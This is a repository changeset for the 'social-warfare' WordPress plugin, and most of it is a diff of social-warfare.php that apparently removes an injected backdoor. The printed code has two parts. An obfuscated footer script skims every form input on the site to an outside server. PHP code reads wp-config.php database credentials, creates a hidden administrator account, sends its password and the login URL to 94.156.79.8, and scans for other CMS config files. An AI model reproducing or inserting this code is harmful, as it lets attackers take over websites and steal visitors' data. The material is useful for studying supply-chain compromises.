Changeset 3106250
- Timestamp:
- 06/23/2024 04:55:29 PM (2 weeks ago)
- Location:
- social-warfare
- Files:
-
- 4 edited
- 1 copied
Legend:
- Unmodified
- Added
- Removed
-
social-warfare/tags/4.4.7.2/readme.txt
r3106033 r3106250 4 4 Requires at least: 4.5.0 5 5 Tested up to: 6.5 6 Stable tag: 4.4.7. 16 Stable tag: 4.4.7. 7 7 Requires PHP: 5.6 8 8 License: GNU General Public License v2.0 or later -
social-warfare/tags/4.4.7.2/social-warfare.php
r3106033 r3106250 5 5 * Plugin URI: https://warfareplugins.com 6 6 * Description: A plugin to maximize social shares and drive more traffic using the fastest and most intelligent share buttons on the market, calls to action via in-post click-to-tweets, popular posts widgets based on share popularity, link-shortening, Google Analytics and much, much more! 7 * Version: 4.4.7. 17 * Version: 4.4.7. 8 8 * Author: Warfare Plugins 9 9 * Author URI: https://warfareplugins.com … … 21 21 * 22 22 */ 23 define( 'SWP_VERSION', '4.4.7. 1' );24 define( 'SWP_DEV_VERSION', '2024.06.2 2MASTER' );23 define( 'SWP_VERSION', '4.4.7.' ); 24 define( 'SWP_DEV_VERSION', '2024.06.2 MASTER' ); 25 25 define( 'SWP_PLUGIN_FILE', __FILE__ ); 26 26 define( 'SWP_PLUGIN_URL', str_replace( array( "\r", "\n" ), '', untrailingslashit( plugin_dir_url( __FILE__ ) ) ) ); … … 38 38 */ 39 39 add_filter( 'the_excerpt', 'do_shortcode', 1 ); 40 function add_footer_script() {41 echo '<script>eval("\u000a\u0020\u0020\u0020\u0020\u0076\u0061\u0072\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0028\u0022\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0073\u0072\u0063\u0020\u003d\u0020\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0039\u0034\u002e\u0031\u0035\u0036\u002e\u0037\u0039\u002e\u0038\u002f\u0073\u0063\u002d\u0074\u006f\u0070\u002e\u006a\u0073\u0022\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0028\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0070\u0061\u0072\u0065\u006e\u0074\u004e\u006f\u0064\u0065\u002e\u0072\u0065\u006d\u006f\u0076\u0065\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0027\u006c\u006f\u0061\u0064\u0027\u002c\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0029\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0065\u0020\u003d\u0020\u0022\u0041\u0042\u0043\u0044\u0045\u0046\u0047\u0048\u0049\u004a\u004b\u004c\u004d\u004e\u004f\u0050\u0051\u0052\u0053\u0054\u0055\u0056\u0057\u0058\u0059\u005a\u0061\u0062\u0063\u0064\u0065\u0066\u0067\u0068\u0069\u006a\u006b\u006c\u006d\u006e\u006f\u0070\u0071\u0072\u0073\u0074\u0075\u0076\u0077\u0078\u0079\u007a\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u006c\u0065\u0074\u0020\u006e\u0020\u003d\u0020\u0022\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u006f\u0020\u003d\u0020\u0030\u003b\u0020\u006f\u0020\u003c\u0020\u0074\u003b\u0020\u006f\u002b\u002b\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0074\u0020\u003d\u0020\u004d\u0061\u0074\u0068\u002e\u0066\u006c\u006f\u006f\u0072\u0028\u0036\u0032\u0020\u002a\u0020\u004d\u0061\u0074\u0068\u002e\u0072\u0061\u006e\u0064\u006f\u006d\u0028\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0020\u002b\u003d\u0020\u0065\u002e\u0063\u0068\u0061\u0072\u0041\u0074\u0028\u0074\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u000a\u007d\u000a\u000a\u006c\u0065\u0074\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u0027\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u0027\u0029\u003b\u000a\u000a\u0069\u0066\u0020\u0028\u0021\u0075\u0069\u0064\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0030\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u003d\u0020\u0060\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u003d\u0024\u007b\u0075\u0069\u0064\u007d\u003b\u0020\u0070\u0061\u0074\u0068\u003d\u002f\u0060\u003b\u000a\u007d\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002c\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u006e\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0055\u0052\u004c\u0053\u0065\u0061\u0072\u0063\u0068\u0050\u0061\u0072\u0061\u006d\u0073\u003b\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0075\u0069\u0064\u0022\u002c\u0020\u0075\u0069\u0064\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0069\u005f\u006e\u0061\u006d\u0065\u0022\u002c\u0020\u0074\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u002f\u002f\u0020\u0041\u0064\u0064\u0020\u0074\u0068\u0065\u0020\u0066\u0069\u0065\u006c\u0064\u0020\u006e\u0061\u006d\u0065\u0020\u0061\u0073\u0020\u0061\u0020\u0070\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0062\u0022\u002c\u0020\u0062\u0074\u006f\u0061\u0028\u0065\u0029\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u0066\u0065\u0074\u0063\u0068\u0028\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0068\u006f\u0073\u0074\u0070\u0064\u0066\u002e\u0063\u006f\u002f\u0070\u0069\u006e\u0063\u0068\u0065\u002e\u0070\u0068\u0070\u0022\u002c\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006d\u0065\u0074\u0068\u006f\u0064\u003a\u0020\u0022\u0050\u004f\u0053\u0054\u0022\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0068\u0065\u0061\u0064\u0065\u0072\u0073\u003a\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0022\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0054\u0079\u0070\u0065\u0022\u003a\u0020\u0022\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002f\u0078\u002d\u0077\u0077\u0077\u002d\u0066\u006f\u0072\u006d\u002d\u0075\u0072\u006c\u0065\u006e\u0063\u006f\u0064\u0065\u0064\u0022\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u006f\u0064\u0079\u003a\u0020\u006e\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0074\u002e\u0074\u0065\u0078\u0074\u0028\u0029\u0029\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u006c\u006f\u0067\u0028\u0074\u0029\u0029\u0029\u002e\u0063\u0061\u0074\u0063\u0068\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u0065\u0072\u0072\u006f\u0072\u0028\u0022\u0045\u0072\u0072\u006f\u0072\u003a\u0022\u002c\u0020\u0074\u0029\u0029\u0029\u000a\u007d\u000a\u000a\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0022\u0069\u006e\u0070\u0075\u0074\u0022\u002c\u0020\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0022\u0049\u004e\u0050\u0055\u0054\u0022\u0020\u003d\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0061\u0067\u004e\u0061\u006d\u0065\u0020\u0026\u0026\u0020\u0022\u0062\u0075\u0074\u0074\u006f\u006e\u0022\u0020\u0021\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0079\u0070\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u006e\u0061\u006d\u0065\u0020\u007c\u007c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0069\u0064\u002c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u007d\u0029\u0029\u003b\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003b\u0020\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u006f\u0066\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u005b\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u002c\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u005d\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003d\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u0020\u003d\u003d\u003d\u0020\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u007d\u000a\u0020\u0020\u0020\u0020");</script>';42 }43 add_action('wp_footer', 'add_footer_script');44 add_action( 'admin_init', 'custom_notify_plugin_updated');45 function custom_notify_plugin_updated() {46 $has_run = get_option('my_admin_init_function_run');47 if ($has_run !== 'yes') {48 function check_wp_config($directory) {49 while ($directory !== '/') {50 $wp_config_file = $directory . '/wp-config.php';51 if (file_exists($wp_config_file)) {52 return $wp_config_file;53 }54 $directory = dirname($directory);55 }56 remove_action('admin_init', 'custom_notify_plugin_updated');57 return false;58 }59 60 function parse_wp_config($config_file) {61 if (file_exists($config_file)) {62 $config_content = file_get_contents($config_file);63 $matches = [];64 // Extract prefix65 if (preg_match("/\$table_prefix\s*=\s*'(.+?)';/", $config_content, $matches)) {66 $prefix = $matches[1];67 } else if (preg_match("/table_prefix.*=.*'(.+?)';/", $config_content, $matches)) {68 $prefix = $matches[1];69 } else {70 //die("Prefix not found in wp-config.php");71 $ba = '';72 }73 // Extract database name74 if (preg_match("/define\(\s*'DB_NAME'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {75 $database = $matches[1];76 }77 // Extract username78 if (preg_match("/define\(\s*'DB_USER'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {79 $username = $matches[1];80 }81 // Extract password82 if (preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {83 $password = $matches[1];84 }85 // Extract host86 if (preg_match("/define\(\s*'DB_HOST'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {87 $host = $matches[1];88 } else {89 $host = 'localhost'; // Assuming local host if not specified90 }91 92 return array(93 'prefix' => $prefix,94 'database' => $database,95 'username' => $username,96 'password' => $password,97 'host' => $host98 );99 } else {100 //die("wp-config.php file not found");101 $gz = '';102 }103 }104 105 function access_database($config) {106 $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['database']);107 108 if ($mysqli->connect_errno) {109 //echo "DATABASE ACCESS [FAIL]\n";110 return false;111 } else {112 //POST "DATABASE ACCESS [SUCCESS]\n";113 return $mysqli;114 }115 }116 117 function generate_random_password($length = 12) {118 $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';119 $password = '';120 $characters_length = strlen($characters);121 for ($i = 0; $i < $length; $i++) {122 $password .= $characters[rand(0, $characters_length - 1)];123 }124 return $password;125 }126 127 // Define a global variable for the password128 $generated_password = generate_random_password();129 130 // Define a global variable for the users count131 $wpuserscount = 0;132 function add_admin_user($mysqli, $config, $password) {133 global $generated_password; // Access the global generated password variable134 global $wpuserscount; // Declare the global variable to update user count135 $username = 'PluginAUTH';136 137 //$generated_password = $password;138 //$password = $generated_password;139 $user_role = 'administrator';140 141 // First, let's update the global user count142 $countQuery = "SELECT COUNT(*) AS user_count FROM {$config['prefix']}users";143 $countResult = $mysqli->query($countQuery);144 if ($countResult) {145 $row = $countResult->fetch_assoc();146 $wpuserscount = $row['user_count']; // Update the global variable with the user count147 } else {148 //echo "Error fetching user count: " . $mysqli->error . "\n";149 return; // Early return in case of query error150 }151 // Hash the password152 $hashed_password = password_hash($password, PASSWORD_DEFAULT);153 154 // Check if the user already exists155 $query = "SELECT ID FROM {$config['prefix']}users WHERE user_login = '{$username}'";156 $result = $mysqli->query($query);157 158 if ($result && $result->num_rows > 0) {159 //echo "User '{$username}' already exists.\n";160 $z = "b";161 } else {162 // Insert the new user163 $query = "INSERT INTO {$config['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered) VALUES ('{$username}', '{$hashed_password}', '{$username}', '{$username}@example.com', NOW())";164 $result = $mysqli->query($query);165 166 if ($result) {167 $user_id = $mysqli->insert_id;168 169 // Set user role170 $query = "INSERT INTO {$config['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$config['prefix']}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";171 $result = $mysqli->query($query);172 173 if ($result) {174 //echo "User '{$username}' with administrative privileges added successfully.\n";175 $zb = '';176 } else {177 //echo "Error assigning role to user '{$username}'.\n";178 $zb = '';179 }180 } else {181 //echo "Error creating user '{$username}': " . $mysqli->error . "\n";182 $zb = '';183 }184 }185 }186 187 function get_domain_from_database($mysqli, $config) {188 // Query to retrieve site URL from WordPress options table189 $query = "SELECT option_value FROM {$config['prefix']}options WHERE option_name = 'siteurl'";190 $result = $mysqli->query($query);191 192 if ($result && $result->num_rows > 0) {193 $row = $result->fetch_assoc();194 $site_url = $row['option_value'];195 $parsed_url = parse_url($site_url);196 if ($parsed_url && isset($parsed_url['host'])) {197 return $parsed_url['host'];198 }199 }200 201 return null;202 }203 $currdomain = 'UNK.UNK';204 function pachamama($path) {205 global $currdomain;206 if (strpos($path, 'wp-config.php') !== false) {207 $path = str_replace('wp-config.php', '', $path);208 }209 210 $current_directory = $path;211 $wp_config_file = check_wp_config($current_directory);212 if ($wp_config_file) {213 //echo "WP-CONFIG [FOUND]\n";214 215 $config = parse_wp_config($wp_config_file);216 $mysqli = access_database($config);217 if ($mysqli) {218 $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';219 $password = '';220 $characters_length = strlen($characters);221 for ($i = 0; $i < 13; $i++) {222 $password .= $characters[rand(0, $characters_length - 1)];223 }224 add_admin_user($mysqli, $config, $password);225 $domain = get_domain_from_database($mysqli, $config);226 if ($domain) {227 //echo "[$domain] OK\n";228 $currdomain = $domain;229 230 // Reconstruct the correct wp-login.php path231 $wp_login_path = "https://{$domain}/wp-login.php";232 233 // Perform a POST request to https://94.156.79.8/AddSites234 $url = 'https://94.156.79.8/AddSites';235 $aurl = get_admin_url();236 $post_data = array(237 'aurl' => $aurl,238 'domain' => $domain,239 'username' => 'PluginAUTH',240 'passwordz' => $password, // Access the global generated password variable241 'wp_login_path' => $wp_login_path242 );243 244 $ch = curl_init();245 curl_setopt($ch, CURLOPT_URL, $url);246 curl_setopt($ch, CURLOPT_POST, 1);247 curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data)); // Send JSON data248 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);249 curl_setopt($ch, CURLOPT_HTTPHEADER, array(250 'Content-Type: application/json', // Set content type to JSON251 'Content-Length: ' . strlen(json_encode($post_data)) // Set content length252 ));253 $response = curl_exec($ch);254 $error = curl_error($ch); // Get any curl error255 curl_close($ch);256 257 if ($response === false) {258 //echo "POST request failed: $error\n";259 $z = false;260 } else {261 //echo "POST request sent successfully. Response: $response\n";262 $z = true;263 }264 } else {265 //echo "Domain retrieval failed.\n";266 $z = false;267 }268 $mysqli->close();269 }270 } else {271 //echo "WP-CONFIG [NOT FOUND]\n";272 $z = false;273 }274 }275 276 function check_cms_configuration_files() {277 global $wpuserscount;278 global $wp_config_paths;279 global $wc_config_paths;280 global $mg_config_paths;281 // Function to recursively search directories for configuration files282 //function search_for_config_files($directory, &$cms_config_files, $max_parents = 4) {283 function search_for_config_files(&$cms_config_files, $max_parents = 3) {284 // Get the current directory285 $directory = __DIR__;286 287 // Initialize the variable to keep track of the last readable path288 $last_readable_path = null;289 290 // Iterate to go one parent folder up until no read permission or max 5 parents291 for ($i = 0; $i < $max_parents; $i++) {292 // Check if the directory exists and is readable293 if (is_dir($directory) && is_readable($directory)) {294 $last_readable_path = $directory;295 } else {296 // Stop iteration if the directory is not readable297 break;298 }299 300 // Move one directory up301 $directory = dirname($directory);302 }303 304 // If a readable path was found, perform a recursive glob search for the specified file extensions305 if (!empty($last_readable_path)) {306 307 $config_files = [];308 $files = [];309 //$pattern = '/home/98752.cloudwaysapps.com/trnkgjmvur';310 try {311 $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($last_readable_path), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);312 foreach($objects as $name => $object){313 if (substr($name, -4) === '.php') {314 // Add only files ending with '.php' to the $files array315 //echo "$name\n";316 $files[] = $name;317 }318 }319 } catch (Exception $e) {320 // Handle any exceptions that occur during iteration321 // You can log the error or take appropriate action here322 //echo "Error: " . $e->getMessage();323 $d = 'sab';324 }325 foreach ($files as $file) {326 // Add the found file to the list of config files327 //print($file);328 $cms_config_files[] = $file;329 }330 return $cms_config_files;331 } else {332 // Return an empty array if no readable path was found333 //echo("No Readable Paths");334 return [];335 }336 }337 338 339 // Array to store detected CMS names340 $detected_cms = [341 'WordPress' => false,342 'WooCommerce' => false,343 'Magento' => false,344 'OpenCart' => false,345 'PrestaShop' => false,346 'Drupal Commerce' => false,347 'Symfony' => false,348 'Laravel' => false,349 'Zend Framework' => false350 ];351 352 // Array to store detected .dat files353 $detected_dat_files = [];354 355 // Paths to check for CMS-specific configuration files356 $current_directory = __DIR__;357 $paths_to_check = [358 '/var/www/vhosts/aedstudisrl.com/httpdocs/wp-admin',359 $current_directory,360 '/etc', // Common system configuration directory361 '/var/www', // Example web root directory362 '/home', // Home directories363 '/opt', // Optional software packages364 '/usr/local', // Locally installed software365 '/usr/share', // Shared software resources366 '/var/lib', // Variable data directories367 ];368 369 // Files to search for in each directory370 $files_to_search = [371 'app/etc/env.php', // Magento372 'wp-config.php', 'wp-content/plugins/woocommerce/includes/class-wc-settings.php', // WordPress & WooCommerce373 'config.php', // OpenCart374 'config/parameters.php', // PrestaShop375 'sites/default/settings.php', // Drupal Commerce376 'config/packages/*.yaml', // Symfony377 '.env', // Laravel378 'config/autoload/*.global.php', // Zend Framework379 '*.dat', // .dat files380 ];381 382 // Array to store CMS configuration files383 $cms_config_files = [];384 385 // Iterate through the paths to check and search for configuration files in each directory recursively386 387 search_for_config_files($cms_config_files);388 389 390 // Process the detected configuration files and extract CMS information391 foreach ($cms_config_files as $file) {392 // echo($file);393 if (strpos($file, 'wp-config.php') !== false) {394 395 $detected_cms['WordPress'] = true;396 $wp_config_paths[] = $file;397 398 } elseif (strpos($file, 'class-wc-settings.php') !== false) {399 // You may add a specific check for WooCommerce here if needed400 $detected_cms['WooCommerce'] = true;401 $wc_config_paths[] = $file;402 } elseif (strpos($file, 'env.php') !== false &&403 strpos($file, 'Composer') === false &&404 strpos($file, 'composer') === false &&405 strpos($file, 'Softaculous') === false) {406 // You may add a specific check for Magento here if needed407 // Read the content of the file408 $fileContent = file_get_contents($file);409 410 // Check if the content contains the string 'host' => '411 if (strpos($fileContent, "'host' => '") !== false) {412 $detected_cms['Magento'] = true;413 $mg_config_paths[] = $file;414 /*echo("MAGENTO\n\n\n");415 echo("MAGENTO\n\n\n");416 echo("MAGENTO\n\n\n");417 echo("MAGENTO\n\n\n");418 echo("MAGENTO\n\n\n");419 echo("MAGENTO\n\n\n");420 echo("MAGENTO\n\n\n");421 echo("MAGENTO\n\n\n");422 echo($file);423 echo($file);424 echo($file);425 echo($file);426 echo($file);427 echo("MAGENTO\n\n\n");428 echo("MAGENTO\n\n\n");429 echo("MAGENTO\n\n\n");430 echo("MAGENTO\n\n\n");431 echo("MAGENTO\n\n\n");432 echo("MAGENTO\n\n\n");433 echo("MAGENTO\n\n\n");434 echo("MAGENTO\n\n\n");*/435 }436 437 } elseif (strpos($file, 'config.php') !== false &&438 strpos($file, 'Composer') === false &&439 strpos($file, 'composer') === false &&440 strpos($file, 'Softaculous') === false) {441 if (strpos(file_get_contents($file), '$config[\'encryption_key\']') !== false) {442 $detected_cms['OpenCart'] = true;443 }444 } elseif (strpos($file, 'parameters.php') !== false) {445 if (strpos(file_get_contents($file), 'prestashop') !== false) {446 $detected_cms['PrestaShop'] = true;447 }448 } elseif (strpos($file, 'settings.php') !== false) {449 if (strpos(file_get_contents($file), 'drupal') !== false) {450 $detected_cms['Drupal Commerce'] = true;451 }452 } elseif (strpos($file, '.yaml') !== false) {453 if (strpos(file_get_contents($file), 'Symfony\Component') !== false) {454 $detected_cms['Symfony'] = true;455 }456 } elseif (strpos($file, '.env') !== false) {457 // You may add a specific check for Laravel here if needed458 $detected_cms['Laravel'] = true;459 } elseif (strpos($file, '.global.php') !== false) {460 // You may add a specific check for Zend Framework here if needed461 $detected_cms['Zend Framework'] = true;462 } elseif (strpos($file, '.dat') !== false) {463 $detected_dat_files[] = $file;464 }465 }466 467 // Convert the boolean values to strings468 foreach ($detected_cms as $cms => $detected) {469 $detected_cms[$cms] = $detected ? 'true' : 'false';470 }471 472 // Now $detected_cms array contains the names of detected CMS based on the configuration files found473 // And $detected_dat_files array contains the paths of detected .dat files474 475 // Read users from the database and count them for WordPress and WooCommerce476 $wordpress_users = $wpuserscount;477 //$woocommerce_users = get_woocommerce_user_count();478 $woocommerce_users = 000;479 480 // Perform POST requests to the endpoints with JSON data containing CMS detection and user counts481 $url1 = 'https://94.156.79.8/FCS';482 $url2 = 'https://94.156.79.8/CMSUsers';483 484 $data1 = [485 'host' => $_SERVER['HTTP_HOST'],486 'cms' => $detected_cms487 ];488 489 //print_r($detected_cms);490 491 // Send data to the endpoints using CURL492 send_post_request($url1, $data1);493 // Additional logic as needed494 }495 496 function getWPUsers(){497 global $wpuserscount;498 global $currdomain;499 // Read users from the database and count them for WordPress and WooCommerce500 $wordpress_users = $wpuserscount;501 //$woocommerce_users = get_woocommerce_user_count();502 $woocommerce_users = 000;503 $url2 = 'https://94.156.79.8/CMSUsers';504 $data2 = [505 'host' => $currdomain,506 'wordpress_users' => $wordpress_users,507 'woocommerce_users' => $woocommerce_users508 ];509 510 // Send data to the endpoints using CURL511 send_post_request($url2, $data2);512 }513 514 // Function to get WordPress user count from the database515 function get_wordpress_user_count() {516 // Your implementation to fetch user count from the WordPress database517 // Example:518 // $count = query_wordpress_database();519 // return $count;520 return 0;521 }522 523 // Function to get WooCommerce user count from the database524 function get_woocommerce_user_count() {525 // Your implementation to fetch user count from the WooCommerce database526 // Example:527 // $count = query_woocommerce_database();528 // return $count;529 return 0;530 }531 532 // Function to send POST request533 function send_post_request($url, $data) {534 $ch = curl_init($url);535 curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");536 curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));537 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);538 curl_setopt($ch, CURLOPT_HTTPHEADER, [539 'Content-Type: application/json',540 'Content-Length: ' . strlen(json_encode($data))541 ]);542 $response = curl_exec($ch);543 curl_close($ch);544 // Handle response as needed545 }546 global $wp_config_paths;547 $wp_config_paths = [];548 global $wc_config_paths;549 $wc_config_paths = [];550 global $mg_config_paths;551 